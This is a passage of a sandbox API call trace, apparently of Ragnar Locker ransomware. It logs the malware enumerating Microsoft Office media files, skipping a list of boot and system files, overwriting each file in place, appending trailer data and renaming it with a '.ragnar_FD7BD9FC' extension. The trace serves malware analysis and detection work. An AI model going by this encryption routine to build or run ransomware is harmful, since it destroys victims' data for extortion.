[0095.879] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=45598) returned 1 [0095.879] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xb215, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.879] GetProcessHeap () returned 0x580000 [0095.879] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.879] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.880] VirtualAlloc (lpAddress=0x0, dwSize=0xb21e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.880] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.881] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.881] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb21e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xb21e, lpOverlapped=0x0) returned 1 [0095.882] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.882] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb21e, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.883] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb21e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xb21e, lpOverlapped=0x0) returned 1 [0095.883] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb21e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.883] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.883] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xb21e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.883] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.883] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.883] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.883] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.884] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.884] GetProcessHeap () returned 0x580000 [0095.884] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.884] CloseHandle (hObject=0x104) returned 1 [0095.884] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0287005.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0287005.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0287005.WMF" [0095.884] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0287005.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0287005.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0287005.WMF.ragnar_FD7BD9FC" [0095.884] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0287005.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0287005.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0287005.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0287005.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.884] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x948c7400, ftCreationTime.dwHighDateTime=0x1bf1521, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x948c7400, ftLastWriteTime.dwHighDateTime=0x1bf1521, nFileSizeHigh=0x0, nFileSizeLow=0x76ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0291984.WMF", cAlternateFileName="")) returned 1 [0095.884] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.884] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0291984.WMF" | out: lpString1="J0291984.WMF") returned="J0291984.WMF" [0095.885] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0291984.WMF") returned=".WMF" [0095.885] lstrcmpiW (lpString1="J0291984.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.885] lstrcmpiW (lpString1="J0291984.WMF", lpString2="autorun.inf") returned 1 [0095.885] lstrcmpiW (lpString1="J0291984.WMF", lpString2="boot.ini") returned 1 [0095.885] lstrcmpiW (lpString1="J0291984.WMF", lpString2="bootfont.bin") returned 1 [0095.885] lstrcmpiW (lpString1="J0291984.WMF", lpString2="bootsect.bak") returned 1 [0095.885] lstrcmpiW (lpString1="J0291984.WMF", lpString2="bootmgr") returned 1 [0095.885] lstrcmpiW (lpString1="J0291984.WMF", lpString2="bootmgr.efi") returned 1 [0095.885] lstrcmpiW (lpString1="J0291984.WMF", lpString2="bootmgfw.efi") returned 1 [0095.885] lstrcmpiW (lpString1="J0291984.WMF", lpString2="desktop.ini") returned 1 [0095.885] lstrcmpiW (lpString1="J0291984.WMF", lpString2="iconcache.db") returned 1 [0095.885] lstrcmpiW (lpString1="J0291984.WMF", lpString2="ntldr") returned -1 [0095.885] lstrcmpiW (lpString1="J0291984.WMF", lpString2="ntuser.dat") returned -1 [0095.885] lstrcmpiW (lpString1="J0291984.WMF", lpString2="ntuser.dat.log") returned -1 [0095.885] lstrcmpiW (lpString1="J0291984.WMF", lpString2="ntuser.ini") returned -1 [0095.885] lstrcmpiW (lpString1="J0291984.WMF", lpString2="thumbs.db") returned -1 [0095.885] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.885] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.885] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.885] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.885] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.885] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.885] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.885] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0291984.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0291984.wmf")) returned 0x20 [0095.885] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0291984.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0291984.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.886] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=30442) returned 1 [0095.886] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x76e1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.886] GetProcessHeap () returned 0x580000 [0095.886] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.886] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.887] VirtualAlloc (lpAddress=0x0, dwSize=0x76ea, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.888] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.888] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.888] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x76ea, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x76ea, lpOverlapped=0x0) returned 1 [0095.889] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.889] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x76ea, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.889] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x76ea, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x76ea, lpOverlapped=0x0) returned 1 [0095.890] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x76ea, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.890] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.890] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x76ea, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.890] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.890] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.890] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.890] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.890] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.890] GetProcessHeap () returned 0x580000 [0095.890] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.890] CloseHandle (hObject=0x104) returned 1 [0095.890] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0291984.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0291984.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0291984.WMF" [0095.890] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0291984.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0291984.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0291984.WMF.ragnar_FD7BD9FC" [0095.890] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0291984.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0291984.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0291984.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0291984.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.891] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9003000, ftCreationTime.dwHighDateTime=0x1bf1521, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc9003000, ftLastWriteTime.dwHighDateTime=0x1bf1521, nFileSizeHigh=0x0, nFileSizeLow=0x7148, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0292020.WMF", cAlternateFileName="")) returned 1 [0095.891] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.891] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0292020.WMF" | out: lpString1="J0292020.WMF") returned="J0292020.WMF" [0095.891] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292020.WMF") returned=".WMF" [0095.891] lstrcmpiW (lpString1="J0292020.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.891] lstrcmpiW (lpString1="J0292020.WMF", lpString2="autorun.inf") returned 1 [0095.891] lstrcmpiW (lpString1="J0292020.WMF", lpString2="boot.ini") returned 1 [0095.891] lstrcmpiW (lpString1="J0292020.WMF", lpString2="bootfont.bin") returned 1 [0095.891] lstrcmpiW (lpString1="J0292020.WMF", lpString2="bootsect.bak") returned 1 [0095.891] lstrcmpiW (lpString1="J0292020.WMF", lpString2="bootmgr") returned 1 [0095.891] lstrcmpiW (lpString1="J0292020.WMF", lpString2="bootmgr.efi") returned 1 [0095.891] lstrcmpiW (lpString1="J0292020.WMF", lpString2="bootmgfw.efi") returned 1 [0095.891] lstrcmpiW (lpString1="J0292020.WMF", lpString2="desktop.ini") returned 1 [0095.891] lstrcmpiW (lpString1="J0292020.WMF", lpString2="iconcache.db") returned 1 [0095.891] lstrcmpiW (lpString1="J0292020.WMF", lpString2="ntldr") returned -1 [0095.892] lstrcmpiW (lpString1="J0292020.WMF", lpString2="ntuser.dat") returned -1 [0095.892] lstrcmpiW (lpString1="J0292020.WMF", lpString2="ntuser.dat.log") returned -1 [0095.892] lstrcmpiW (lpString1="J0292020.WMF", lpString2="ntuser.ini") returned -1 [0095.892] lstrcmpiW (lpString1="J0292020.WMF", lpString2="thumbs.db") returned -1 [0095.892] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.892] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.892] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.892] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.892] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.892] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.892] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.892] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292020.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292020.wmf")) returned 0x20 [0095.893] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292020.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292020.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.893] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=29000) returned 1 [0095.893] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x713f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.893] GetProcessHeap () returned 0x580000 [0095.893] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.893] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.895] VirtualAlloc (lpAddress=0x0, dwSize=0x7148, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.895] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.895] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.895] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7148, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7148, lpOverlapped=0x0) returned 1 [0095.896] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.896] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7148, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.896] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7148, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7148, lpOverlapped=0x0) returned 1 [0095.896] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7148, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.897] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.897] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x7148, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.897] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.897] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.897] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.897] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.897] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.897] GetProcessHeap () returned 0x580000 [0095.897] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.897] CloseHandle (hObject=0x104) returned 1 [0095.897] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292020.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292020.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292020.WMF" [0095.897] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292020.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292020.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292020.WMF.ragnar_FD7BD9FC" [0095.897] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292020.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292020.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292020.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292020.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.898] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4af05900, ftCreationTime.dwHighDateTime=0x1bf1522, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4af05900, ftLastWriteTime.dwHighDateTime=0x1bf1522, nFileSizeHigh=0x0, nFileSizeLow=0x20ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0292152.WMF", cAlternateFileName="")) returned 1 [0095.898] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.898] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0292152.WMF" | out: lpString1="J0292152.WMF") returned="J0292152.WMF" [0095.898] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292152.WMF") returned=".WMF" [0095.898] lstrcmpiW (lpString1="J0292152.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.898] lstrcmpiW (lpString1="J0292152.WMF", lpString2="autorun.inf") returned 1 [0095.898] lstrcmpiW (lpString1="J0292152.WMF", lpString2="boot.ini") returned 1 [0095.898] lstrcmpiW (lpString1="J0292152.WMF", lpString2="bootfont.bin") returned 1 [0095.898] lstrcmpiW (lpString1="J0292152.WMF", lpString2="bootsect.bak") returned 1 [0095.898] lstrcmpiW (lpString1="J0292152.WMF", lpString2="bootmgr") returned 1 [0095.898] lstrcmpiW (lpString1="J0292152.WMF", lpString2="bootmgr.efi") returned 1 [0095.898] lstrcmpiW (lpString1="J0292152.WMF", lpString2="bootmgfw.efi") returned 1 [0095.898] lstrcmpiW (lpString1="J0292152.WMF", lpString2="desktop.ini") returned 1 [0095.898] lstrcmpiW (lpString1="J0292152.WMF", lpString2="iconcache.db") returned 1 [0095.898] lstrcmpiW (lpString1="J0292152.WMF", lpString2="ntldr") returned -1 [0095.899] lstrcmpiW (lpString1="J0292152.WMF", lpString2="ntuser.dat") returned -1 [0095.899] lstrcmpiW (lpString1="J0292152.WMF", lpString2="ntuser.dat.log") returned -1 [0095.899] lstrcmpiW (lpString1="J0292152.WMF", lpString2="ntuser.ini") returned -1 [0095.899] lstrcmpiW (lpString1="J0292152.WMF", lpString2="thumbs.db") returned -1 [0095.899] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.899] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.899] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.899] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.899] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.899] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.899] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.899] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292152.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292152.wmf")) returned 0x20 [0095.899] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292152.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292152.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.899] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8398) returned 1 [0095.899] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x20c5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.899] GetProcessHeap () returned 0x580000 [0095.900] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.900] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.901] VirtualAlloc (lpAddress=0x0, dwSize=0x20ce, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.901] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.901] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 